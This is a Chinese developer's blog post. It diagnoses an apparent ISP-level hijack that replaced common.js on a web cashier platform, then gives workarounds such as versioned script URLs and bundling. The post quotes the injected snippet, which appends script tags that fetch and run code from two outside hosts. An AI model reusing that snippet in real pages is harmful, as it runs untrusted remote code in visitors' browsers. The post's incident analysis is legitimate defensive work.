偷天換日:網絡劫持,網頁js被假裝替換。

   偷天換日javascript

  3月12號石家莊一個客戶(後面簡稱乙方)有幾家門店,平臺收銀(web)有一些功能沒法正常使用,平臺有上千家門店在使用,到目前爲止別的省份都沒有此問題。遠程協助發現,js日期控件沒法正常調用,報js錯誤。日期插件用的是my97datepicker,用了這麼久也沒見出過什麼問題。
  瀏覽器查看頁面加載的js,發現頁面自己加載的js中有重複的(隨機重複),一個是common.js還有個common.js?145001231。代碼中只有common.js。點開common.js?145001231發現代碼沒問題。再查看common.js。代碼以下php

try {
    if (!document.getElementById("mck0")) {
        var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
        s1 = "http://8.525cm.com/v2/v.php?id=01";
        var ar = new Array(2);
        ar[0] = s0;
        ar[1] = s1;
        var h = document.getElementsByTagName('head').item(0);
        for (var i = 0; i < 2; ++i) {
            var sc = document.createElement("script");
            sc.type = "text/javascript";
            sc.id = "mck" + i;
            sc.src = ar[i];
            h.appendChild(sc);
        }
    }
} catch(e) {}

  看到這就應該明白爲何會有common.js和common.js?145001231。java

  問題找到了,怎麼來的呢,先想到的是乙方操做系統有問題或內網arp欺騙。電話詢問客戶網絡環境,得知這幾個門店距離很遠,不是在一塊兒;並且每一個門店使用的寬帶都是單獨開通的。電腦系統都是統一安裝的。讓乙方到隔壁店鋪登陸下試試,乙方找了隔壁的電腦登陸後,遠程協助,發現也有這個問題。(難道是運營商那邊dns挾持的,感受不太可能)web

  這時候已通過去3,4個小時了,好幾個門店的收銀,和後臺進銷存沒法正常使用。客戶那邊的經理打電話來,說找了檯筆記本,用他們本身的wifi就有這個問題,用移動的4g網絡就沒問題。那就是網絡有問題了,乙方也認同了。當時因爲手上還有其餘任務要忙,就暫時擱置了。瀏覽器

  3月30今天又得知江西南昌有個客服也遇到了一樣的問題,發現問題如出一轍。一家還能說是個例,第二家的出現須要將問題等級提升了,雖然不是平臺的問題,但對於客戶來講無法正常使用,必需要解決。服務器

 

  應對方案網絡

  一、分析代碼。反其道而行,想移除添加的js。併發

  後來發現思路有點偏,替換的代碼是直接添加一個script元素,平臺中頁面加載js是用document.write(<script/>),替換的js影響了原有頁面的js加載順序致使功能沒法正常使用。試着在頁面js文件引用改成xxx.js?123,試了下沒問題了,又嘗試改成xxx.js?,發現也能夠,臨時這麼解決,把出問題的幾個頁面js引用修改了下。(此問題改過觀察中)app

  二、瀏覽器插件。(這個是下策)模塊化

 

  後續思考

  問題並無真正解決,可是能夠經過一些方法解決替換js後所帶來的加載順序問題。

  能夠嘗試用

  多js打包(還能減小服務器鏈接次數,提升性能,也要留意下IE和Firefox對同一域名進行請求的併發鏈接數限制),增長版本號。

  js模塊化加載(requireJS類組件)。

 

  先寫到這吧,此問題還在繼續觀察中...

相關文章
相關標籤/搜索